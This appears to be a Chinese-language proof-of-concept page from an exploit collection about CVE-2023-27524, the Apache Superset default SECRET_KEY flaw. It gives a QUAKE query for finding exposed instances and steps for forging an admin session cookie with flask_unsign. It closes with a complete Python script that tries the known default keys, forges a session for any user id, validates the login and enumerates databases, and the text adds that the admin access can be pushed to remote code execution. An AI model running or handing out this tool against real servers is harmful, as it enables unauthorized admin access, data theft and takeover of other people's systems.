mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
205 lines
7.3 KiB
Markdown
205 lines
7.3 KiB
Markdown
|
|
# Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器,用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中,未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Apache Superse <= 2.0.1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## QUAKE
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app.name="Apache Superset"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登陆页面
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
漏洞修复补丁
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
https://github.com/apache/superset/pull/23186/files
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
补丁代码中,新建了判断用户是否使用了默认的Key进行配置,如果为默认的Key,就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
```
|
|||
|
|
# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
|
|||
|
|
SECRET_KEYS = [
|
|||
|
|
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
|
|||
|
|
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
|
|||
|
|
b'thisISaSECRET_1234', # deployment template
|
|||
|
|
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
|
|||
|
|
b'TEST_NON_DEV_SECRET' # docker compose
|
|||
|
|
]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
以Docker下的环境举例
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
登陆主页面观察主要参数
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
>>> from flask_unsign import session
|
|||
|
|
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
|
|||
|
|
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块,通过设置允许执行其他数据库语句后利用数据库语句 RCE
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
from flask_unsign import session
|
|||
|
|
import requests
|
|||
|
|
import urllib3
|
|||
|
|
import argparse
|
|||
|
|
import re
|
|||
|
|
from time import sleep
|
|||
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|||
|
|
|
|||
|
|
|
|||
|
|
SECRET_KEYS = [
|
|||
|
|
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
|
|||
|
|
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
|
|||
|
|
b'thisISaSECRET_1234', # deployment template
|
|||
|
|
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
|
|||
|
|
b'TEST_NON_DEV_SECRET' # docker compose
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
def main():
|
|||
|
|
|
|||
|
|
parser = argparse.ArgumentParser()
|
|||
|
|
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
|
|||
|
|
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
|
|||
|
|
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
|
|||
|
|
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
u = args.url.rstrip('/') + '/login/'
|
|||
|
|
|
|||
|
|
headers = {
|
|||
|
|
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
|||
|
|
if resp.status_code != 200:
|
|||
|
|
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
session_cookie = None
|
|||
|
|
for c in resp.cookies:
|
|||
|
|
if c.name == 'session':
|
|||
|
|
session_cookie = c.value
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
if not session_cookie:
|
|||
|
|
print('Error: No session cookie found')
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
print(f'Got session cookie: {session_cookie}')
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
decoded = session.decode(session_cookie)
|
|||
|
|
print(f'Decoded session cookie: {decoded}')
|
|||
|
|
except:
|
|||
|
|
print('Error: Not a Flask session cookie')
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
match = re.search(r'"version_string": "(.*?)"', resp.text)
|
|||
|
|
if match:
|
|||
|
|
version = match.group(1)
|
|||
|
|
else:
|
|||
|
|
version = 'Unknown'
|
|||
|
|
|
|||
|
|
print(f'Superset Version: {version}')
|
|||
|
|
|
|||
|
|
|
|||
|
|
for i, k in enumerate(SECRET_KEYS):
|
|||
|
|
cracked = session.verify(session_cookie, k)
|
|||
|
|
if cracked:
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
if not cracked:
|
|||
|
|
print('Failed to crack session cookie')
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
user_id = int(args.id)
|
|||
|
|
except:
|
|||
|
|
user_id = args.id
|
|||
|
|
|
|||
|
|
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
|
|||
|
|
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
|
|||
|
|
|
|||
|
|
if args.validate:
|
|||
|
|
try:
|
|||
|
|
headers['Cookie'] = f'session={forged_cookie}'
|
|||
|
|
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
|
|||
|
|
sleep(args.timeout)
|
|||
|
|
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
|||
|
|
if resp.status_code == 302:
|
|||
|
|
print(f'Got 302 on login, forged cookie appears to have been accepted')
|
|||
|
|
validated = True
|
|||
|
|
else:
|
|||
|
|
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
|||
|
|
except Exception as e_inner:
|
|||
|
|
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
|||
|
|
|
|||
|
|
if not validated:
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
print('Enumerating databases')
|
|||
|
|
for i in range(1, 101):
|
|||
|
|
database_url_base = args.url.rstrip('/') + '/api/v1/database'
|
|||
|
|
try:
|
|||
|
|
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
|
|||
|
|
if r.status_code == 200:
|
|||
|
|
result = r.json()['result'] # validate response is JSON
|
|||
|
|
name = result['database_name']
|
|||
|
|
print(f'Found database {name}')
|
|||
|
|
elif r.status_code == 404:
|
|||
|
|
print(f'Done enumerating databases')
|
|||
|
|
break # no more databases
|
|||
|
|
else:
|
|||
|
|
print(f'Unexpected error: status code={r.status_code}')
|
|||
|
|
break
|
|||
|
|
except Exception as e_inner:
|
|||
|
|
print(f'Unexpected error: {e_inner}')
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
print(f'Unexpected error: {e}')
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
main()
|
|||
|
|
```
|